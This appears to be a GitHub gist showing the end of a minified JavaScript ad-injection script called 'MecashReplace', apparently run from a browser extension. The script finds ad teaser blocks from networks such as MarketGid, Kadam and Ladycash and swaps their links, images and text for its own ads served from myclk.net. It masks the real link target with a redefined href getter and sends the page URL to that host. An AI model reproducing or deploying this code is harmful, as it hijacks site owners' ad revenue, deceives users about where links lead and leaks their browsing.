| var t = core.addExtensionQueryPart(e); | |
| return t.url = document.location.href, "http://" + MecashReplaceConfig.ad_host + "/replacement/click?" + util.toParams(t) | |
| }, | |
| checkConfiguration: function() { | |
| MecashReplaceConfig.replace_id || MecashReplaceConfig.extension_id || MecashReplaceConfig.eid || util.error('Please provide "replace_id" or "eid" parameter') | |
| }, | |
| getDistance: function(e, t) { | |
| var r, a, n, o; | |
| return e.top < t.top ? (n = e.top + e.height, o = t.top) : (n = t.top + t.height, o = e.top), e.left < t.left ? (r = e.left + e.width, a = t.left) : (r = t.left + t.width, a = e.left), Math.pow(r - a, 2) + Math.pow(n - o, 2) | |
| }, | |
| isModuleEnabled: function(e) { | |
| return -1 !== MecashReplaceConfig.enabledModules.indexOf(e) | |
| }, | |
| replaceTeaserContent: function(e, t, r, a, n, o, i) { | |
| if (r) | |
| for (var c = e.querySelectorAll(r), s = 0; s < c.length; s++) c[s].setAttribute("href", t.url), c[s].removeAttribute("title"), c[s].onclick = function(e) { | |
| this.href = t.url, e.stopPropagation(), e.stopImmediatePropagation() | |
| }, c[s].__defineGetter__("href", function() { | |
| return t.url | |
| }); | |
| if (a) | |
| for (var l = e.querySelectorAll(a), u = 0; u < l.length; u++) l[u].setAttribute("src", t.image), l[u].removeAttribute("title"), l[u].removeAttribute("alt"); | |
| if (n) | |
| for (var d = e.querySelectorAll(n), f = 0; f < d.length; f++) d[f].textContent = t.title, d[f].removeAttribute("title"); | |
| if (o) | |
| for (var h = e.querySelectorAll(o), p = 0; p < h.length; p++) h[p].textContent = t.text; | |
| "function" == typeof i && i(e) | |
| }, | |
| searchAndReplaceTeaserBlocks: function() { | |
| var e = [ | |
| ['div[id^="MarketGid"] div[class^="mgline teaser-"]', "mg", core.replaceMarketgidTeasers], | |
| [".da_adp_teaser", "da", core.replaceDirectadvertTeasers], | |
| ['[class^="SC_TBlock_"][class$="_td"]', "lc", core.replaceLadycashTeasers], | |
| ['td[id^="tid_"]', "kd", core.replaceKadamTeasers], | |
| ['div[id^="TovarroComposite"] div[class^="mgline teaser-"]', "tv", core.replaceTovarroTeasers] | |
| ]; | |
| util.each(e, function(e) { | |
| var t = e[0], | |
| r = e[1], | |
| a = e[2], | |
| n = document.querySelectorAll(t); | |
| if (n.length) { | |
| var o = "mark", | |
| i = util.filterMarkItems(n, o), | |
| c = i.length; | |
| if (c) { | |
| for (var s = 0; s < i.length; s++) util.markItem(i[s], o); | |
| core.loadTeasers(c, r, function(e) { | |
| for (var t = 0; t < Math.min(c, e.length); t++) { | |
| var r = i[t], | |
| n = e[t]; | |
| a(r, n) | |
| } | |
| }) | |
| } | |
| } | |
| }) | |
| }, | |
| replaceMarketgidTeasers: function(e, t) { | |
| core.replaceTeaserContent(e, t, "a", "img.mcimg, img", ".mctitle a", ".mcdesc", function(e) { | |
| for (var t = e.querySelectorAll(".div1"), r = 0; r < t.length; r++) util.css(t[r], { | |
| display: "none" | |
| }) | |
| }) | |
| }, | |
| replaceDirectadvertTeasers: function(e, t) { | |
| core.replaceTeaserContent(e, t, "a", ".da_adp_img img, img", ".da_adp_title a, .teaser-text", null, null) | |
| }, | |
| replaceLadycashTeasers: function(e, t) { | |
| core.replaceTeaserContent(e, t, "td a", 'td a img[id^="SC_TBlock_"]', 'td a[class$="_title"]', null, null) | |
| }, | |
| replaceKadamTeasers: function(e, t) { | |
| core.replaceTeaserContent(e, t, "td a", 'td a img[id^="img_tid_"]', 'td a[id^="title_tid_"]', 'td a[id^="text_tid_"]', null) | |
| }, | |
| replaceTovarroTeasers: function(e, t) { | |
| core.replaceTeaserContent(e, t, "a", "img.mcimg, img", ".mctitle a", ".mcdesc", function(e) { | |
| for (var t = e.querySelectorAll(".price-box"), r = 0; r < t.length; r++) util.css(t[r], { | |
| display: "none" | |
| }) | |
| }) | |
| } | |
| }, | |
| MecashReplaceConfig = util.extend({ | |
| replace_id: 0, | |
| extension_id: 0, | |
| eid: 0, | |
| ad_host: "myclk.net", | |
| subid: "", | |
| scheme: "", | |
| enabledModules: [], | |
| replaceSettings: { | |
| minDistance: 20, | |
| maxIndexLength: 1e4, | |
| phrases: !0, | |
| domains: !0 | |
| } | |
| }, window.mecash_config), | |
| MecashReplace = { | |
| config: MecashReplaceConfig, | |
| run: util.bind(core.run, core), | |
| replacePhrases: util.bind(core.replacePhrases, core), | |
| util: util, | |
| pingResult: function(e) { | |
| MecashReplaceConfig = util.extend(MecashReplaceConfig, e), core.init() | |
| } | |
| }; | |
| window.MecashReplace = MecashReplace, core.ping(), core.replaceSE() | |
| } | |
| }(window, document); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment